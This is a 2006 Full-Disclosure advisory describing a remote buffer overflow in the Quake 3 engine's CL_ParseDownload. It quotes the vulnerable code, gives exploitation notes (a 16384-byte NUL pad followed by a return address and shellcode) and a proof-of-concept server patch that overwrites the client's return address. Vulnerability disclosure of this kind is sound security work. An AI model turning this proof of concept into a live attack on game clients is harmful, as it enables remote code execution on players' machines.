Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12984
HistoryJun 05, 2006 - 12:00 a.m.

[Full-disclosure] Client buffer-overflow in Quake 3 engine (1.32c / rev 795)

2006-06-0500:00:00
vulners.com
5

#######################################################################

                         Luigi Auriemma

Application: Quake 3 engine
http://www.idsoftware.com
http://www.icculus.org/quake3/
Versions: Quake 3 <= 1.32c
Icculus.org Quake 3 <= revision 795
other derived projects
Games: exist many games which use the Quake 3 engine and
probably they are all vulnerable but I'm not able and
have no time to test them.
An enough complete list of these games is available here:
http://en.wikipedia.org/wiki/Quake_III_engine#Uses_of_the_engine
Platforms: Windows, *nix, *BSD, Mac and others
Bug: buffer-overflow in CL_ParseDownload
Exploitation: remote, versus client
Date: 02 Jun 2006
Author: Luigi Auriemma
e-mail: [email protected]
web: aluigi.org

#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction

The Quake 3 engine is the famous game engine developed by id Software
(http://www.idsoftware.com) in the far 1999 but is still one of the
most used, licensed and played engines.
It has been released open source under the GPL license some months ago
and now it's mainly maintained by Icculus
(http://www.icculus.org/quake3/&#41; although exist many other derived
projects.

#######################################################################

======
2) Bug

The CL_ParseDownload function located in code/client/cl_parse.c is used
by the clients for handling the download commands (svc_download)
received from the server.

The function uses a signed 16 bit number sent by the server for copying
raw data from the network to the data buffer of 16384 (MAX_MSGLEN)
bytes:

void CL_ParseDownload ( msg_t *msg ) {
int size;
unsigned char data[MAX_MSGLEN];
…
size = MSG_ReadShort ( msg );
if (size > 0)
MSG_ReadData( msg, data, size );
…

Some interesting details:
The (reassembled) packets handled by Quake 3 can be max 16384 bytes but
is possible to bypass this limit through the huffman compression used
automatically and trasparently in the engine (thanx to Thilo Schulz).
In short for exploiting this bug is enough to use 16384 NULL (0x00)
bytes, which occupy a very small amount of space, followed by the
usual "stuff" (return address to overwrite and shellcode).
The data copied with the MSG_ReadData is raw so there are no bad bytes
to avoid for the exploitation.
Note that the svc_download can be sent to the client in any moment so
the client can be attacked also immediately after the ending of the
connect handshake (just the first server's message).

#######################################################################

===========
3) The Code

The server must be modified for sending the malformed svc_download
command and is possible to use the following instructions which
demonstrate how to overwrite the return address with 0x61616161.
It's enough to place them in code/server/sv_client.c just after the
"// send the gamestate" comment at about line 575:

// send the gamestate
int     i;
MSG_WriteByte&#40; &amp;msg, svc_download &#41;;
MSG_WriteShort&#40; &amp;msg, -1 &#41;;         // block != 0, for fast return
MSG_WriteShort&#40; &amp;msg, 16384 + 32 &#41;; // amount of bytes to copy
for&#40;i = 0; i &lt; 16384; i++&#41; {        // overwrite the data buffer
    MSG_WriteByte&#40;&amp;msg, 0x00&#41;;      // 0x00 for saving space
}
for&#40;i = 0; i &lt; 32; i++&#41; {           // do the rest of the job
    MSG_WriteByte&#40;&amp;msg, &#39;a&#39;&#41;;       // return address: 0x61616161
}
SV_SendMessageToClient&#40; &amp;msg, client &#41;;
return;

#######################################################################

======
4) Fix

Icculus will fix the code soon.
I have tried to contact id Software too but it's only time lost…
The developers of the other derived projects and games have not been
contacted (almost all the games are no longer supported and it's a bit
long for me to find and contact each single developer of the other
open source projects).

#######################################################################


Luigi Auriemma
http://aluigi.org
http://mirror.aluigi.org


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/